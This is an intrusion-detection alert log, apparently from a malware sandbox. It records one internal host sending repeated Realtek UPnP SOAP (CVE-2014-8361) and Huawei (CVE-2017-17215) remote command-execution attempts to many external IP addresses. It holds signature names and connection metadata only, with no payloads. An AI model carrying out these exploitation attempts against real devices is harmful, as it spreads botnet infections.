SID:	2829579
Source Port:	44702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 221.139.54.252

Timestamp:	07/20/24-23:02:05.287905
SID:	2027339
Source Port:	55880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 31.247.155.57

Timestamp:	07/20/24-23:01:43.392835
SID:	2831300
Source Port:	51270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 190.134.62.33

Timestamp:	07/20/24-23:01:45.878385
SID:	2025132
Source Port:	50708
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.166.233.2

Timestamp:	07/20/24-23:01:31.328855
SID:	2831300
Source Port:	53888
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 194.44.142.130

Timestamp:	07/20/24-23:01:43.085956
SID:	2025132
Source Port:	55404
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.63.115.173

Timestamp:	07/20/24-23:01:01.219232
SID:	2027339
Source Port:	58748
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 161.238.126.206

Timestamp:	07/20/24-23:01:14.207040
SID:	2829579
Source Port:	53312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.132.15.197

Timestamp:	07/20/24-23:01:04.100971
SID:	2829579
Source Port:	39850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.212.218.203

Timestamp:	07/20/24-23:01:02.057729
SID:	2829579
Source Port:	51132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.63.153.183

Timestamp:	07/20/24-23:01:43.288086
SID:	2027339
Source Port:	57260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 100.28.35.63

Timestamp:	07/20/24-23:01:53.415663
SID:	2831300
Source Port:	56738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 206.198.46.124

Timestamp:	07/20/24-23:01:58.751559
SID:	2025132
Source Port:	43492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.111.4.84

Timestamp:	07/20/24-23:01:24.833522
SID:	2025132
Source Port:	48236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.232.109.220

Timestamp:	07/20/24-23:01:46.471349
SID:	2025132
Source Port:	42752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 145.203.252.98

Timestamp:	07/20/24-23:01:42.485253
SID:	2025132
Source Port:	50448
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.10.74.49

Timestamp:	07/20/24-23:01:50.985732
SID:	2027339
Source Port:	41786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.85.2.136

Timestamp:	07/20/24-23:01:55.497526
SID:	2025132
Source Port:	55536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 126.2.96.116

Timestamp:	07/20/24-23:01:52.285243
SID:	2831300
Source Port:	47850
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 145.117.47.181

Timestamp:	07/20/24-23:01:31.323042
SID:	2831300
Source Port:	38880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	07/20/24-23:01:01.198681
SID:	2025132
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.250.27.9

Timestamp:	07/20/24-23:01:41.332211
SID:	2027339
Source Port:	51470
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.45.44.116

Timestamp:	07/20/24-23:02:07.294006
SID:	2831300
Source Port:	37108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.155.242.14

Timestamp:	07/20/24-23:01:42.693537
SID:	2025132
Source Port:	44936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 104.38.28.110

Timestamp:	07/20/24-23:01:02.103737
SID:	2829579
Source Port:	36284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.82.217.243

Timestamp:	07/20/24-23:01:42.442442
SID:	2831300
Source Port:	55828
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 136.248.242.20

Timestamp:	07/20/24-23:01:47.028157
SID:	2027339
Source Port:	54620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.158.215.83

Timestamp:	07/20/24-23:01:11.638042
SID:	2835222
Source Port:	51356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.167.255.95

Timestamp:	07/20/24-23:01:46.562532
SID:	2025132
Source Port:	41584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.179.102.207

Timestamp:	07/20/24-23:01:59.296959
SID:	2027339
Source Port:	49948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 194.63.61.192

Timestamp:	07/20/24-23:01:08.585790
SID:	2831300
Source Port:	53264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.27.210.57

Timestamp:	07/20/24-23:01:53.262556
SID:	2831300
Source Port:	39514
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.81.54.196

Timestamp:	07/20/24-23:01:34.045749
SID:	2829579
Source Port:	50594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.47.146.130

Timestamp:	07/20/24-23:01:51.888686
SID:	2025132
Source Port:	51016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.121.203.188

Timestamp:	07/20/24-23:01:02.113054
SID:	2835222
Source Port:	57042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.38.147.179

Timestamp:	07/20/24-23:01:31.318206
SID:	2831300
Source Port:	57560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 31.110.77.22

Timestamp:	07/20/24-23:02:13.277683
SID:	2027339
Source Port:	52292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 134.173.191.58

Timestamp:	07/20/24-23:01:48.322055
SID:	2025132
Source Port:	53270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 156.32.87.120

Timestamp:	07/20/24-23:01:25.819962
SID:	2027339
Source Port:	49936
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.100.172

Timestamp:	07/20/24-23:01:40.334452
SID:	2829579
Source Port:	41888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.106.41.174

Timestamp:	07/20/24-23:01:20.601040
SID:	2027339
Source Port:	57016
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.35.167.52

Timestamp:	07/20/24-23:01:47.641942
SID:	2831300
Source Port:	56544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 27.234.34.183

Timestamp:	07/20/24-23:02:08.206268
SID:	2025132
Source Port:	53034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.80.243.157

Timestamp:	07/20/24-23:01:42.322405
SID:	2027339
Source Port:	49484
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.97.192.157

Timestamp:	07/20/24-23:01:31.981855
SID:	2829579
Source Port:	50494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 36.224.134.244

Timestamp:	07/20/24-23:02:06.441271
SID:	2025132
Source Port:	46226
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.92.38.185

Timestamp:	07/20/24-23:01:00.647694
SID:	2829579
Source Port:	59862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.28.95.234

Timestamp:	07/20/24-23:01:40.310207
SID:	2835222
Source Port:	41020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 135.69.136.147

Timestamp:	07/20/24-23:01:51.130270
SID:	2027339
Source Port:	51168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.87.189.85

Timestamp:	07/20/24-23:01:24.877747
SID:	2835222
Source Port:	55018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.161.99.53

Timestamp:	07/20/24-23:01:31.333070
SID:	2831300
Source Port:	37974
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.145.148.31

Timestamp:	07/20/24-23:01:34.075219
SID:	2835222
Source Port:	41722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 219.230.144.186

Timestamp:	07/20/24-23:01:43.180913
SID:	2027339
Source Port:	54438
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.10.234.63

Timestamp:	07/20/24-23:01:03.102525
SID:	2025132
Source Port:	36072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.235.233

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	34088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.123.73.220

Timestamp:	07/20/24-23:02:11.791090
SID:	2027339
Source Port:	47260
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.55.153.11

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	39666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 109.162.13.246

Timestamp:	07/20/24-23:01:31.322110
SID:	2831300
Source Port:	44766
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.9.32.210

Timestamp:	07/20/24-23:01:41.374418
SID:	2027339
Source Port:	58308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 161.136.114.82

Timestamp:	07/20/24-23:01:59.992284
SID:	2027339
Source Port:	47644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.220.3.30

Timestamp:	07/20/24-23:01:02.304416
SID:	2025132
Source Port:	37654
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 148.60.185.225

Timestamp:	07/20/24-23:01:24.916250
SID:	2835222
Source Port:	44788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.248.82.51

Timestamp:	07/20/24-23:01:11.636425
SID:	2829579
Source Port:	50264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 155.182.30.66

Timestamp:	07/20/24-23:01:43.724924
SID:	2027339
Source Port:	50284
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.156.179.148

Timestamp:	07/20/24-23:01:27.660099
SID:	2829579
Source Port:	43594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.52.45.132

Timestamp:	07/20/24-23:00:57.222207
SID:	2829579
Source Port:	39796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 114.20.70.247

Timestamp:	07/20/24-23:01:02.365539
SID:	2027339
Source Port:	50400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.106.83.239

Timestamp:	07/20/24-23:01:02.113054
SID:	2835222
Source Port:	35672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 77.249.102.196

Timestamp:	07/20/24-23:01:42.945747
SID:	2027339
Source Port:	44964
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 163.75.91.9

Timestamp:	07/20/24-23:01:54.482793
SID:	2027339
Source Port:	42058
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.234.203.207

Timestamp:	07/20/24-23:01:40.296076
SID:	2829579
Source Port:	39240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.198.76.252

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	36712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.23.172.87

Timestamp:	07/20/24-23:01:08.560530
SID:	2027339
Source Port:	49680
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.68.76.128

Timestamp:	07/20/24-23:01:42.187124
SID:	2027339
Source Port:	36010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.114.179.188

Timestamp:	07/20/24-23:01:53.415663
SID:	2831300
Source Port:	42988
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.209.80.73

Timestamp:	07/20/24-23:01:49.064169
SID:	2831300
Source Port:	52738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.138.181.205

Timestamp:	07/20/24-23:01:42.874808
SID:	2831300
Source Port:	38898
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 107.137.22.219

Timestamp:	07/20/24-23:01:52.094111
SID:	2025132
Source Port:	48356
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 140.186.145.164

Timestamp:	07/20/24-23:01:08.672944
SID:	2831300
Source Port:	60846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.217.190.133

Timestamp:	07/20/24-23:01:25.980169
SID:	2025132
Source Port:	47834
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.98.46.120

Timestamp:	07/20/24-23:01:31.327539
SID:	2027339
Source Port:	37754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.186.31.24

Timestamp:	07/20/24-23:01:44.841232
SID:	2027339
Source Port:	57342
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 144.196.193.162

Timestamp:	07/20/24-23:01:50.798234
SID:	2027339
Source Port:	53904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 108.147.254.33

Timestamp:	07/20/24-23:02:05.544188
SID:	2025132
Source Port:	33672
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.94.208

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	47446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 98.169.154.123

Timestamp:	07/20/24-23:01:48.161610
SID:	2025132
Source Port:	60168
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.176.127.107

Timestamp:	07/20/24-23:01:03.219817
SID:	2027339
Source Port:	34482
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 118.130.245.154

Timestamp:	07/20/24-23:01:41.165469
SID:	2027339
Source Port:	58744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 171.210.254.194

Timestamp:	07/20/24-23:01:27.658221
SID:	2829579
Source Port:	48414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.27.105.182

Timestamp:	07/20/24-23:01:56.265254
SID:	2831300
Source Port:	33578
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.205.220.16

Timestamp:	07/20/24-23:01:02.104572
SID:	2835222
Source Port:	46440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.27.46.251

Timestamp:	07/20/24-23:01:58.093784
SID:	2027339
Source Port:	49082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.43.240.212

Timestamp:	07/20/24-23:01:42.571884
SID:	2027339
Source Port:	47098
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 50.208.25.112

Timestamp:	07/20/24-23:01:43.160906
SID:	2025132
Source Port:	34986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.218.32.62

Timestamp:	07/20/24-23:01:40.286738
SID:	2829579
Source Port:	56342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 208.122.170.150

Timestamp:	07/20/24-23:01:46.159872
SID:	2831300
Source Port:	47696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.46.25.223

Timestamp:	07/20/24-23:01:04.058922
SID:	2835222
Source Port:	48120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.53.164.7

Timestamp:	07/20/24-23:02:36.102280
SID:	2831300
Source Port:	46296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.69.102.249

Timestamp:	07/20/24-23:01:59.938491
SID:	2027339
Source Port:	41506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 170.207.21.198

Timestamp:	07/20/24-23:01:41.389908
SID:	2025132
Source Port:	58454
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

